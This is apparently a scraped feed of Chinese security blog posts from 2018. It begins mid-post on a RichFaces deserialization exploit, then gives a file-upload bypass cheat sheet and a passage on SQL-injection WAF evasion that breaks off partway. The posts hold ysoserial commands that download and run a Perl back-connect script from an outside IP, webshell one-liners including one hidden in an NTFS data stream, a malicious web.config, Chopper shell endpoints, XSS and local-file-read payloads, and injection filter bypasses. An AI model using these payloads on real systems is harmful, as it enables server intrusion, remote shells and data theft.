\u5148\u7528ysoserial\u751f\u6210\u76f8\u5173payload\njava -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 \"wget http:\/\/74.121.151.89\/123344\/back.pl -P \/tmp\/\" > payload.bin\njava -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 \"perl \/tmp\/back.pl\" > p.bin\n\u7136\u540e\u6267\u884chello.java\u751f\u6210\u52a0\u5bc6\u540epayload\uff0c\u518d\u8bbf\u95ee\u5373\u53ef\nhttp:\/\/localhost:8011\/seam\/a4j\/g\/3_3_3.Finalorg\/richfaces\/renderkit\/html\/scripts\/skinning.js\/DATA\/your-payload\n<\/code><\/pre><\/div><\/div>\nRF-14310: Arbitrary EL Evaluation<\/h1>\n
\u5bb9\u6211\u5148\u53d1\u51fa\u6765\uff0c\u5148\u5b66\u4e00\u6ce2java\uff0c\u540e\u7eed\u8865\u5145\u3002\n\u5176\u4ed6\u53c2\u8003\u94fe\u63a5\u5982\u4e0b\uff1a<\/p>\n
http:\/\/www.polaris-lab.com\/index.php\/archives\/567\/\nhttps:\/\/foxglovesecurity.com\/2015\/11\/06\/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability\/\nhttps:\/\/github.com\/federicodotta\/Java-Deserialization-Scanner\/releases\nhttp:\/\/vnprogramming.com\/index.php\/2016\/10\/10\/web500-hitconctf-2016-and-exploit-cve-2013-2165\/\nhttps:\/\/codewhitesec.blogspot.com\/2018\/05\/poor-richfaces.html\nhttps:\/\/bl4ck.in\/vulnerability\/analysis\/2018\/03\/28\/Attack-Seam-Framework.html\n<\/code><\/pre><\/div><\/div>\n#\n\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1awhynot<\/a> \u00bb code-audit<\/a><\/p>\n\n","pubDate":"Thu, 30 Aug 2018 00:00:00 +0000","link":"http:\/\/notwhy.github.io\/2018\/08\/RichFaces%E5%8F%8D%E5%BA%8F%E5%88%97%E8%AF%9D%E6%BC%8F%E6%B4%9E-CVE-2013-2165\/","guid":"http:\/\/notwhy.github.io\/2018\/08\/RichFaces%E5%8F%8D%E5%BA%8F%E5%88%97%E8%AF%9D%E6%BC%8F%E6%B4%9E-CVE-2013-2165\/","category":"java"},{"title":"file-upload","description":"0x00 \u524d\u8a00<\/h1>\n
\n
\u2003\u2003\u5bf9\u6587\u4ef6\u4e0a\u4f20\u8fdb\u884c\u4e00\u4e2a\u603b\u7ed3,\u5982\u679c\u4f60\u8fd8\u6ca1\u6709\u770b\u8fc7Upload-labs\u901a\u5173\u624b\u518c<\/a>\uff0c\u5efa\u8bae\u5148\u770b\uff0c\u672c\u6587\u662f\u5bf9\u5176\u7684\u4e00\u4e2a\u7b80\u5355\u8865\u5145,\u53e6\u5916\u672c\u6587\u4e0d\u5bf9\u8de8\u57df\u7b49\u8fdb\u884c\u603b\u7ed3\uff0c\u540e\u7eed\u4f1a\u9646\u7eed\u6dfb\u52a0\u3002<\/p>\n\n0x01 \u901a\u7528<\/h1>\n1. shell<\/h2>\n<% out.println(\"Hello test\");%> #jsp jspx \n<%response.write(\"hello test\")%> #asp asmx aspx ashx soap web.config\n<?php echo 11111;?> #php phtml phps phpt php3 php3p php4 php5 #\u4e3b\u8981\u770b\u914d\u7f6e \n\u6709\u4e9b\u7ba1\u7406\u5458\u53ef\u80fd\u4f1a\u628aphp\u548casp\u7a0b\u5e8f\u8bbe\u7f6e\u5728\u4e00\u4e2a\u5927\u76ee\u5f55\u4e0b(\u865a\u62df\u4e3b\u673a)\n<\/code><\/pre><\/div><\/div>\n2. xss<\/h2>\n\u4e0a\u4f20htm html shtml xml\u6587\u4ef6\u7b49\nBasic XSS payload: <script>alert(1337)<\/script>\nXML-based XSS payload: <a:script xmlns:a=\"http:\/\/www.w3.org\/1999\/xhtml\">alert(1337)<\/a:script>\n\"><img src=# onerror=alert(1)>.jpg #\u6587\u4ef6\u4e0a\u4f20\u8f93\u51fa\u6587\u4ef6\u540d\u5bfc\u81f4xss window\u4e5f\u53ef\u4ee5\n<\/code><\/pre><\/div><\/div>\n3. \u89e3\u6790\u6f0f\u6d1e<\/h2>\niis \n\u6587\u4ef6\u683c\u5f0f\uff1a asa cer cdx\n\u76ee\u5f55\u89e3\u6790\uff1a \/1.asp\/1.jpg #\u4e0a\u4f201.jpg\u62ff\u5230shell\n\u6587\u4ef6\u89e3\u6790\uff1a 1.asp;.jpg \nIIS 7.0\/IIS 7.5\n1.jpg\/.php #\u4e0a\u4f201.jpg \u5728\u540e\u9762\u52a0\u4e0a\/.php\u76f4\u63a5\u5f53\u6210php\u6765\u6267\u884c\n\napache\n1.php.aaa #\u9047\u5230\u4e0d\u80fd\u89e3\u6790\u7684\u7c7b\u578b\u9012\u5f52\u5411\u524d\u89e3\u6790 \u9ed8\u8ba4\u7c7b\u578b\u4e00\u822c\u662ftext\/plain\n1.php%0a \u5f71\u54cd2.4.0~2.4.29 linux\u670d\u52a1\u5668#\u4e0a\u4f20\u65f61.php\u540e\u9762\u6dfb\u52a0\u4e00\u4e2a\\x0A #CVE-2017-15715 https:\/\/www.leavesongs.com\/PENETRATION\/apache-cve-2017-15715-vulnerability.html \n\nnginx<8.03\u7a7a\u5b57\u8282\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e \n1.jpg%00.php #\u4e0a\u4f201.jpg\u7136\u540eweb\u8bbf\u95ee\n1.jpg\/.php #\u4e0a\u4f201.jpg \u5728\u540e\u9762\u52a0\u4e0a\/.php\u76f4\u63a5\u5f53\u6210php\u6765\u6267\u884c\nNginx 0.8.41\u81f31.4.3\u7248\u672c\u548c1.5.7\u4e4b\u524d\u76841.5.x\u7248\u672c CVE-2013-4547 #\u7ed5\u8fc7\u8bbf\u95ee\u9650\u5236\u8bfb\u53d6s.html \nhttp:\/\/127.0.0.1\/test \/..\/protected\/s.html #\u6ce8\u610ftest\u76ee\u5f55\u540e\u6709\u4e00\u4e2a\u7a7a\u683c\n# \u89e3\u6790\u6f0f\u6d1e\u9700\u8981test%20\u76ee\u5f55(window\u4e0d\u9700\u8981) #\u4f7f\u7528curl\u6d4b\u8bd5 \n1.jpg \\0.php #1.jpg[0x20][0x00].php #\u4f7f\u7528burp\u66f4\u6539\u7f16\u7801\n\n#IIS\u548cNginx\u4e00\u770b\u5230URL\u4e2d\u6587\u4ef6\u540e\u7f00\u662f.php\u5c31\u628a\u5b83\u5f53\u6210php\u6765\u89e3\u6790 \ncgi.fix_pathinfo(php\u4f1a\u5bf9\u8def\u5f84\u8fdb\u884c\u4fee\u7406\u5982\/tt.php\/111.jpg\/111.jpg 1.jpg\u4e0d\u5b58\u5728\u4f1a\u5f53\u62101.php\u5904\u7406) \n\nlighttpd\n1.jpg\/1.php\n\nphp cgi\u89e3\u6790\u6f0f\u6d1e\n\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u9009\u9879cgi.fix_pathinfo = 1\u5f00\u542f\u65f6 \u5f53\u8bbf\u95eehttp:\/\/www.xxx.com\/x.txt\/x.php x.php\u4e0d\u5b58\u5728 \u4f1a\u628ax.txt\u5f53\u6210php\u6765\u6267\u884c\n\n<\/code><\/pre><\/div><\/div>\n\n0x02 window<\/h1>\n1.\u622a\u65ad<\/h2>\nwindow \u6587\u4ef6\u547d\u540d\u89c4\u8303 #https:\/\/docs.microsoft.com\/zh-cn\/windows\/desktop\/FileIO\/naming-a-file \nwindow8.3\u80fd\u7528\u4f46\u662f\u4f1a\u91cd\u547d\u540d\u4e3aweb~1.con Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.\n\u4e0d\u80fd\u76f4\u63a5\u4e0a\u4f20\u5e26\u6709< >\u7684\u6587\u4ef6\uff0c\u53ea\u80fd\u8986\u76d6\u4ed6\u4eec Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.\n\u5c3d\u91cf\u624b\u52a8\u53bb\u8f93\u51fa\uff0c\u800c\u4e0d\u662f\u7b80\u5355\u7684\u590d\u5236\u7c98\u8d34 Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy\/paste them directly from here.\nPHP Windows #\u4e5f\u53ef\u4ee5\u7528\u6765\u6587\u4ef6\u5305\u542b\n> ? #Greater-than symbol (closing angle bracket \u201c>\u201d) TO a question mark (\u201c?\u201d)\n< * #Less-than symbol (opening angle bracket \u201c<\u201d) TO an asterisk symbol (\u201c*\u201d)\n\" . #Double quotation mark (\"\"\") TO a dot character (\".\"\") \n\n1.php%20(url decode) 1.php. 1.php%00(url decode) #\u751f\u62101.php\u6587\u4ef6\n1.php:aaa #\u751f\u6210\u7a7a\u6587\u4ef6 \u524d\u63d0\u662f\u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\n1.ph< or 1.ph> #\u751f\u6210php webshell\u6587\u4ef6\u3002\n\necho ^<?php @eval(request[caidao])?^> > index.php:hidden.jpg\n\u8fd9\u6837\u5b50\u5c31\u751f\u6210\u4e86\u4e00\u4e2a\u4e0d\u53ef\u89c1\u7684shell hidden.jpg\uff0c\u5e38\u89c4\u7684\u6587\u4ef6\u7ba1\u7406\u5668\u3001type\u547d\u4ee4\uff0cdir\u547d\u4ee4\u3001del\u547d\u4ee4\u53d1\u73b0\u90fd\u627e\u4e0d\u51fa\u90a3\u4e2ahidden.jpg\u7684\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u53e6\u5916\u4e00\u4e2a\u6b63\u5e38\u6587\u4ef6\u91cc\u628a\u8fd9\u4e2aADS\u6587\u4ef6include\u8fdb\u53bb\uff0c<?php include(\u2018index.php:hidden.jpg\u2019)?>\uff0c\u8fd9\u6837\u5b50\u5c31\u53ef\u4ee5\u6b63\u5e38\u89e3\u6790\u6211\u4eec\u7684\u4e00\u53e5\u8bdd\u4e86\n<\/code><\/pre><\/div><\/div>\n2.ads\u6587\u4ef6\u6d41<\/h2>\n
1.php::$DATA #\u6587\u4ef6\u6d41 \u751f\u62101.php\u6587\u4ef6 \u56fe\u7247\u540d\u5b57:\u6d41\u7684\u540d\u5b57:\u6d41\u7c7b\u578b<\/p>\n
0x03 linux<\/h1>\n1.\u6587\u4ef6\u4e0a\u4f20xss<\/h2>\n\"><img src=# onerror=alert(1)>.jpg #\u4e0a\u4f20\u8f93\u51fa\u6587\u4ef6\u540d\u5bfc\u81f4xss linux \u8c03\u7528\u6587\u4ef6\u5904\u4e5f\u53ef\u4ee5 \u53ef\u4ee5\u5728w3school\u6d4b\u8bd5https:\/\/www.w3schools.com\/jsref\/tryit.asp?filename=tryjsref_fileupload_value \nlinux \u4e0a\u4f20php\u4e0d\u89e3\u6790 pHp\u7ed5\u8fc7\n<\/code><\/pre><\/div><\/div>\n0x04 IIS<\/h1>\n1.xss<\/h2>\n
\u6839\u636eweb server\u670d\u52a1\u5668fuzz\u4e00\u4e9b\u4e0d\u5e38\u89c1\u7684\u540e\u7f00\u540d\uff0c\u540c\u6837\u53ef\u4ee5\u5bfc\u81f4xss,\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0https:\/\/mike-n1.github.io\/ExtensionsOverview
\nbasic .cer .hxt .htm .stm
\nxml .dtd .mno .vml .xsl .xht .svg .xml .xsd .xsf .svgz .xslt .wsdl .xhtml<\/p>\n
2.file_include or command_exec<\/h2>\n
\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0cIIS\u4e5f\u652f\u6301SSI(Server-Side Include)\u6269\u5c55\uff0cSSI\u662f\u4e3aWEB\u670d\u52a1\u5668\u63d0\u4f9b\u7684\u4e00\u5957\u547d\u4ee4\uff0c\u8fd9\u4e9b\u547d\u4ee4\u53ea\u8981\u76f4\u63a5\u5d4c\u5165\u5230HTML\u6587\u6863\u7684\u6ce8\u91ca\u5185\u5bb9\u4e4b\u4e2d\u5373\u53ef\uff0c\u7531\u4e8e\u5b89\u5168\u539f\u56e0\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u547d\u4ee4\u4f1a\u88ab\u7981\u6b62\u3002
\n\u82e5\u670d\u52a1\u5668\u4e0d\u652f\u6301.shtml #IIS \u89d2\u8272\u670d\u52a1-\u5e94\u7528\u7a0b\u5e8f\u5f00\u53d1-\u5728\u670d\u52a1\u5668\u7aef\u5305\u542b\u56fe\u7247\u70b9\u51fb\u5b89\u88c5\u89d2\u8272\u5373\u53ef<\/strong>
\nhttps:\/\/docs.microsoft.com\/en-us\/iis\/configuration\/system.webserver\/serversideinclude<\/p>\n<!--#include file=\"web.config\"--> \/\/\u53ef\u4ee5\u7528\u6765\u8bfb\u6587\u4ef6\n<!--#include virtual=\"\/includes\/header.html\" --> \/\/\u4e5f\u662f\u8bfb\u6587\u4ef6 \u7edd\u5bf9\u8def\u5f84\n<!--#exec cmd=\"ipconfig\"--> \/\/\u662f\u5426\u53ef\u4ee5\u7528\u6765\u6267\u884c\u547d\u4ee4 \u9ed8\u8ba4\u60c5\u51b5\u4e0d\u4f1a\u5f00\u542f \u9700\u8981\u914d\u7f6e\u76f8\u5173\u6570\u636e #win2008 IIS7\u5c1d\u8bd5\u5f00\u542f\u5931\u8d25\nExtensions for SSI: .stm .shtm .shtml #iis\u5e38\u89c1\u7684\u4e00\u822c\u81ea\u5b9a\u4e49\u914d\u7f6e\u503c \u5176\u4ed6\u5982apache\u81ea\u5df1\u914d\u7f6e \u4e00\u822c\u4e3a.shtml \n<\/code><\/pre><\/div><\/div>\n3.shell<\/h2>\n
asp asmx ashx soap svc #http:\/\/py4.me\/blog\/?p=448<\/p>\n
web.config #\u9700\u8981asp\u73af\u5883\u652f\u6301<\/h3>\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><\/span>\n<configuration><\/span>\n <system.webServer><\/span>\n <handlers<\/span> accessPolicy=<\/span>\"Read, Script, Write\"<\/span>><\/span>\n <add<\/span> name=<\/span>\"web_config\"<\/span> path=<\/span>\"*.config\"<\/span> verb=<\/span>\"*\"<\/span> modules=<\/span>\"IsapiModule\"<\/span> scriptProcessor=<\/span>\"%windir%\\system32\\inetsrv\\asp.dll\"<\/span> resourceType=<\/span>\"Unspecified\"<\/span> requireAccess=<\/span>\"Write\"<\/span> preCondition=<\/span>\"bitness64\"<\/span> \/><\/span>\n <\/handlers><\/span>\n <security><\/span>\n <requestFiltering><\/span>\n <fileExtensions><\/span>\n <remove<\/span> fileExtension=<\/span>\".config\"<\/span> \/><\/span>\n <\/fileExtensions><\/span>\n <hiddenSegments><\/span>\n <remove<\/span> segment=<\/span>\"web.config\"<\/span> \/><\/span>\n <\/hiddenSegments><\/span>\n <\/requestFiltering><\/span>\n <\/security><\/span>\n <\/system.webServer><\/span>\n<\/configuration><\/span>\n<<\/span>%response.write(\"asp test\")%>\n\u901a\u8fc7\u586b\u5165\u4e0b\u9762\u8bed\u53e5\u53ef\u6210\u529f\u6267\u884casp\u8bed\u53e5\n<<\/span>%\nResponse.write CreateObject(\"wscript.shell\").exec(\"cmd.exe \/c ipconfig\").StdOut.ReadAll\n%>\n<<\/span>%=CreateObject(\"wscript.shell\").exec(\"cmd.exe \/c ipconfig\").StdOut.ReadAll()%>\n<\/code><\/pre><\/div><\/div>\nasmx<\/h3>\n
asmx demo<\/p>\n
<%@ WebService Language=\"C#\" Class=\"Service\" %>\n \nusing System.Web;\nusing System.Web.Services;\nusing System.Web.Services.Protocols;\n \npublic class Service : System.Web.Services.WebService\n{\n [WebMethod]\n public string HelloWorld() {\n return \"HelloWorld\";\n }\n}\n\nhttp:\/\/192.168.44.132:8980\/customize.asmx\/Chopper #\u83dc\u5200\u5bc6\u7801z\nz=A #POST\u67e5\u770b\u8fd0\u884c\u76ee\u5f55 \nhttp:\/\/192.168.44.132:8980\/asmxWebMethodSpy.asmx\/Invoke #\u5bc6\u7801Ivan\n<\/code><\/pre><\/div><\/div>\nashx<\/h3>\n\/\/\u6d4f\u89c8\u5668\u8bbf\u95ee\u8fd9\u4e2aashx\u6587\u4ef6\u6253\u5370Test! #\u8bc1\u660e\u53ef\u4ee5\u4f7f\u7528\n<%@ WebHandler Language=\"C#\" Class=\"Handler\" %>\nusing System;\nusing System.Web;\npublic class Handler : IHttpHandler{\n public void ProcessRequest(HttpContext context)\n {\n context.Response.Write(\"Test!\");\n }\n public bool IsReusable\n {\n get\n {\n return false;\n }\n }\n}\nhttp:\/\/192.168.44.132:8980\/HandlerSpy.ashx?Ivan=context.Response.Write(DateTime.Now.ToString()) #\u8f93\u51fa\u65f6\u95f4\n<\/code><\/pre><\/div><\/div>\n0x05 apahce (httpd or Tomcat)<\/h1>\nbasic .html.xxx .shtml\nxml .rdf .xht .xml .xsl .svg .xhtml .svgz #apache\u8fd4\u56de\u5305\u91cc\u9762\u6ca1\u6709Content-type \u8fd9\u6837\u5c31\u53ef\u80fd\u6839\u636e\u6d4f\u89c8\u5668\u7684\u4e60\u6027\u9020\u6210xss\u653b\u51fb \n<\/code><\/pre><\/div><\/div>\n1. shell<\/h2>\n
.htaccess<\/p>\n
SetHandler application\/x-httpd-php #\u6240\u6709\u6587\u4ef6\u89e3\u6790\u6210php \u4e5f\u53ef\u4ee5\u89e3\u6790\u6210\u5176\u4ed6\u811a\u672c\u5f62\u5f0f\u5982perl ruby\u53c2\u8003https:\/\/github.com\/wireghoul\/htshells\n<\/code><\/pre><\/div><\/div>\n0x06 nginx<\/h1>\nbasic .htm\nxml .svg .xml .svgz\n<\/code><\/pre><\/div><\/div>\n0x07.\u6587\u4ef6\u8bfb\u53d6 or SSRF or rce<\/h1>\n\u901a\u8fc7\u5ba2\u6237\u7aef\u6216\u8005\u76f8\u5e94\u7684\u524d\u7aef\u6846\u67b6\u672c\u5730\u8bfb\u53d6\u76f8\u5e94html<\/h2>\n<script>alert(document.location);<\/script> #get file_location \u67e5\u770b\u5f53\u524d\u6e90 \n\u52a8\u6001\u7684\u6267\u884c\u76f8\u5173js #\u524d\u63d0\u662f\u8c03\u7528\u6587\u4ef6\u4f7f\u7528file\u534f\u8bae\n<embed src=\"c:\\\\windows\\\\win.ini\" width=\"400\" height=\"400\">\n<object width=\"400\" height=\"400\" data=\"file:\/\/c:\/windows\/win.ini\"><\/object>\n<iframe src=\"file:\/\/\/C:\/Windows\/win.ini\" width=\"400\" height=\"400\">\n<embed src=\"file:\/\/c:\/windows\/win.ini\" width=\"400\" height=\"400\">\n<iframe src=\"http:\/\/localhost\"><\/iframe>\n<iframe src=\"..\/..\/..\/web.xml\"><\/iframe>\n\nhttp:\/\/www.noob.ninja\/2017\/11\/local-file-read-via-xss-in-dynamically.html\nhttps:\/\/buer.haus\/2017\/06\/29\/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read\/\nhttps:\/\/mike-n1.github.io\/SSRF_P4toP2\nhttps:\/\/hackernoon.com\/cross-site-scripting-to-remote-code-execution-on-trellos-app-699512676f0c #Cross-Site Scripting to Local File Inclusion on Trello\u2019s App\nhttps:\/\/hackerone.com\/reports\/243058\nhttps:\/\/maustin.net\/2015\/11\/12\/hipchat_rce.html #XSS to RCE in Atlassian Hipchat\nhttps:\/\/medium.com\/@arbazhussain\/xss-using-dynamically-generated-js-file-a7a10d05ff08\n<\/code><\/pre><\/div><\/div>\n2.zip\u81ea\u89e3\u538b<\/h2>\nln -s \/etc\/passwd link\nzip --symlinks test.zip link #\u901a\u8fc7\u81ea\u89e3\u538bzip\u529f\u80fd\u5b9e\u73b0\u6587\u4ef6\u8bfb\u53d6https:\/\/xz.aliyun.com\/t\/2589 #\u4e0a\u4f20\u8f6f\u94fe\u63a5\u8bfb\u53d6passwd ln -s \/ test\n<\/code><\/pre><\/div><\/div>\n\n\u5176\u4ed6\u53c2\u8003\u94fe\u63a5\u5982\u4e0b\uff1a<\/p>\n
https:\/\/soroush.secproject.com\/downloadable\/microsoft_iis_tilde_character_vulnerability_feature.pdf #iis\u7aef\u6587\u4ef6\u540d\u6f0f\u6d1e\nhttps:\/\/github.com\/ironbee\/ironbee-rules\/blob\/master\/support\/php\/test_fs_evasion.php \nhttps:\/\/soroush.secproject.com\/blog\/2014\/07\/file-upload-and-php-on-iis-wildcards\/ \nhttp:\/\/byd.dropsec.xyz\/2017\/02\/21\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E7%BB%95%E8%BF%87\/\n<\/code><\/pre><\/div><\/div>\n#\n\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1awhynot<\/a> \u00bb file-upload<\/a><\/p>\n\n","pubDate":"Mon, 30 Jul 2018 00:00:00 +0000","link":"http:\/\/notwhy.github.io\/2018\/07\/file-upload\/","guid":"http:\/\/notwhy.github.io\/2018\/07\/file-upload\/","category":"file-upload"},{"title":"sql-injection-fuck-waf","description":"0x0 \u524d\u8a00 \n0x1 \u6ce8\u5165\u70b9\u68c0\u6d4b \n0x2 bypass waf \n0x3 \u81ea\u52a8\u5316<\/p>\n\n
0x0 \u524d\u8a00<\/h3>\n
\n
\u2003\u2003\u8fd9\u91cc\u662f\u7b80\u5355\u5bf9sql\u6ce8\u5165\u7ed5\u8fc7waf\u7684\u4e00\u4e2a\u5c0f\u603b\u7ed3\uff0c\u975e\u5b89\u5168\u7814\u7a76\u5458\uff0c\u8fd9\u91cc\u4e0d\u8bb2\u539f\u7406\uff0c\u5173\u4e8e\u539f\u7406\u641c\u96c6\u4e86\u4e00\u4e9b\u5176\u4ed6\u5927\u4f6c\u7684\u6587\u7ae0\uff08\u6587\u7ae0\u5728\u6700\u4e0b\u9762\u8bf7\u81ea\u53d6\uff09\uff0c\u611f\u8c22\u4ed6\u4eec\u7684\u5206\u4eab\uff0c\u6bd4\u7740\u846b\u82a6\u753b\u74e2\uff0c\u5bf9\u7740\u5404\u5927waf\u5382\u5546\u8ddf\u7740\u5e08\u5085\u4eec\u6765\u4e00\u6ce2\u5b9e\u6218,\u8fdb\u884c\u4e00\u4e2a\u7b80\u5355\u7684\u603b\u7ed3\u3002<\/p>\n
0x1 \u6ce8\u5165\u70b9\u68c0\u6d4b<\/h3>\n
\u2003\u2003\u4e00\u822c\u7684\u6ce8\u5165\u8fd8\u662f\u5f88\u597d\u5224\u65ad\u7684\uff0c\u7279\u522b\u662f\u57fa\u4e8e\u62a5\u9519\uff0c\u4f46\u6709\u7684\u65f6\u5019\u7565\u5fae\u6709\u4e9b\u5947\u8469\u7684\u73af\u5883\uff0c\u518d\u52a0\u4e0a\u4e00\u4e9b\u4e71\u4e03\u516b\u7cdf waf\uff0c\u5c31\u6bd4\u8f83\u96be\u641e\u4e86\uff0c\u8fd9\u91cc\u7b80\u5355\u603b\u7ed3\u4e86\u4e00\u4e9b\u65b9\u6cd5\u3002<\/p>\n
\n - \n
\u5229\u7528\u6570\u636e\u5e93\u72ec\u6709\u7684\u4e00\u4e9b\u51fd\u6570
\naccess asc chr len #access-functions
\nmysql substring substr length
\nmssql char ascii len substring #mssql function str
\noracle ascii chr length substr upper lower replace(x,old,new)
\n\u8fd9\u4e9b\u6570\u636e\u5e93\u4e2d\u4e00\u4e2a\u901a\u7528\u7684\u51fd\u6570\u5c31\u662fabs\uff0c\u5982\u679c\u89c9\u5f97\u662fint\u578b\u6ce8\u5165\u4e0d\u59a8\u5148\u8bd5\u8bd52-abs(1),\u7136\u540e\u7ed3\u5408\u5404\u7c7b\u6570\u636e\u5e93\u7684\u4e00\u4e9b\u51fd\u6570\u6765\u5224\u65ad\u662f\u4ec0\u4e48\u6570\u636e\u5e93\u7684\u6ce8\u5165,\u5f53\u7136\u5bf9\u6570\u636e\u5e93\u4e86\u89e3\u8d8a\u591a\u8d8a\u597d\u3002<\/p>\n <\/li>\n
- \n
\u6539\u53d8\u8bf7\u6c42\u65b9\u5f0f
\n\u6839\u636e\u7ecf\u9a8c\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\u5404\u811a\u672c\u5bf9http request method\u5982\u4e0b\uff0c\u8fd9\u91cc\u4ee5GET\u4e3a\u4f8b\u5b50\uff0c\u9488\u5bf9www.vul.com\/?id=1\u6765\u8fdb\u884c\u5224\u65ad\u3002
\nphp GET
\naspx GET
\nasp GET POST COOKIE
\njsp GET POST
\n\u5e73\u5e38\u6e17\u900f\u6d4b\u8bd5\u4e2d\u603b\u662f\u9047\u5230\u5404\u79cd\u5404\u6837\u7684waf\uff0c\u6709\u7684\u65f6\u5019\u4e00\u4e2a\u5355\u5f15\u53f7\u5c31\u6b7b\u4e86\uff0c\u8fd9\u4e2a\u65f6\u5019\u9996\u9009\u7684\u4e00\u4e9b\u65b9\u6cd5\u5c31\u662f\u8f6c\u6362\u8bf7\u6c42\u5934\u4e86\uff0c\u6bd5\u7adfGET\u4e0d\u5982POST\uff0cPOST\u4e0d\u5982multipart\/form-data\uff0c\u5f53\u7136\u4e0d\u8981\u770b\u5230php\u5c31\u4e0d\u53bb\u8f6c\u6362\uff0c\u4efb\u4f55\u60c5\u51b5\u4e0b\u90fd\u8981\u5c1d\u8bd5\u4e00\u4e0b\u3002
\n\u5f53\u7136\uff0c\u53ef\u4ee5\u7528burp\u5f88\u65b9\u4fbf\u7684\u6765\u8fdb\u884cchange request method\u4ee5\u53cachange body encoding\u3002<\/p>\n <\/li>\n<\/ul>\n\n
\u2003\u2003\u4e4b\u524d\u78b0\u5230\u8fc7\u4e00\u4e2a\u6709\u8da3\u7684\u4f8b\u5b50\uff0casp\u7684\u7ad9\u70b9\u53ef\u4ee5\u901a\u8fc7cookie\u63d0\u4ea4\u6570\u636e\uff0c\u800c\u4e14\u53ef\u4ee5\u4f7f\u7528len\u51fd\u6570\uff0c\u53ef\u4ee5\u521d\u6b65\u5224\u65ad\u4e3aaccess\u6216\u8005mssql\u6570\u636e\u5e93\uff0c\u4f46\u662f\u8fd8\u662f\u5f88\u5934\u75bc\uff0c\u6700\u540e\u4e00\u4f4d\u5927\u54e5\u4f7f\u7528\u4e0b\u9762\u7684\u51fd\u6570\u53ef\u4ee5\u5224\u65ad\u6210\u529f\u3002www.vul.com\/2.asp?id=482
\n\u2003\u2003483-chr(chr(52)&chr(57)) #=482
\n\u2003\u2003chr(52) \u20184\u2019
\n\u2003\u2003chr(57) \u20189\u2019
\n\u2003\u2003chr(49) \u20181\u2019 #chr(52)&chr(57)\u4e3a49 chr(49)\u4e3a1 \u867d\u7136\u6700\u540e\u4e5f\u6ca1\u4ec0\u4e48\u5375\u7528\u4f46\u8fd8\u662f\u633a\u6709\u610f\u601d\u7684<\/p>\n\n
\n - \n
\u6570\u636e\u5e93\u7279\u6027
\nmysql \u6ce8\u91ca\u7b26\u53f7# \u2013+ ` ;%00 \/\/ \u5b57\u7b26\u4e32\u53ef\u4ee5\u4f7f\u7528\u6210\u5bf9\u7684\u5f15\u53f7\u2019admin\u2019 = admin\u2019\u2019\u2019
\nmssql \u6ce8\u91ca\u7b26\u53f7\u2013 \/<\/strong>\/ ;%00
\noracle \u6ce8\u91ca\u7b26\u53f7\u2013 \/**\/ admin=adm\u2019||\u2019in
\n\u7a7a\u767d\u7b26\u53f7\nMySQL5 09 0A 0B 0C 0D A0 20
\nOracle 00 0A 0D 0C 09 20
\nMSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
\nmysql\u548cmssql\u53ef\u4ee5\u4f7f\u7528|\u6765\u8fdb\u884c\u76f8\u5173\u7684\u8fd0\u7b97\uff0c\u800coracle\u4f1a\u628a||\u5f53\u6210\u8fde\u63a5\u5b57\u7b26\u3002<\/p>\n <\/li>\n - \n
web\u5bb9\u5668\u7279\u6027
\n\u8fd9\u91cc\u76f4\u63a5\u53ef\u4ee5\u8df3\u8fc7\u770bhttp:\/\/drops.xmd5.com\/static\/drops\/tips-7883.html \u8fd9\u7bc7\u6587\u7ae0<\/p>\n <\/li>\n<\/ul>\n\n
1. iis+asp(x) \n 1.%u\u7279\u6027: iis\u652f\u6301\u5bf9unicode\u7684\u89e3\u6790\uff0c\u5982:payload\u4e3a[s%u006c%u0006ect],\u89e3\u6790\u51fa\u6765\u540e\u5219\u662f[select]\n %u0061nd 1=1\n \u53e6\u7c7b%u\u7279\u6027: unicode\u5728iis\u89e3\u6790\u4e4b\u540e\u4f1a\u88ab\u8f6c\u6362\u6210multibyte\uff0c\u4f46\u662f\u8f6c\u6362\u7684\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u51fa\u73b0:\u591a\u4e2awidechar\u53ef\u80fd\u4f1a\u8f6c\u6362\u4e3a\u540c\u4e00\u4e2a\u5b57\u7b26\u3002\n \u5982\uff1aselect\u4e2d\u7684e\u5bf9\u5e94\u7684unicode\u4e3a%u0065\uff0c\u4f46\u662f%u00f0\u540c\u6837\u4f1a\u88ab\u8f6c\u6362\u6210\u4e3ae s%u00f0lect\n iis+asp\n 2.%\u7279\u6027: union selec%t user fr%om dd #iis+asp asp+iis\u73af\u5883\u4e0b\u4f1a\u5ffd\u7565\u6389\u767e\u5206\u53f7\uff0c\u5982\uff1apayload\u4e3a[sele%ct], \u89e3\u6790\u51fa\u6765\u540e\u5219\u662f[select]\n 3.asp\/asp.net\u5728\u89e3\u6790\u8bf7\u6c42\u7684\u65f6\u5019\uff0c\u5141\u8bb8Content-Type: application\/x-www-form-urlencoded\u7684\u6570\u636e\u63d0\u4ea4\u65b9\u5f0fselect%201%20from%20user\n asp\/asp.net request\u89e3\u6790:\n 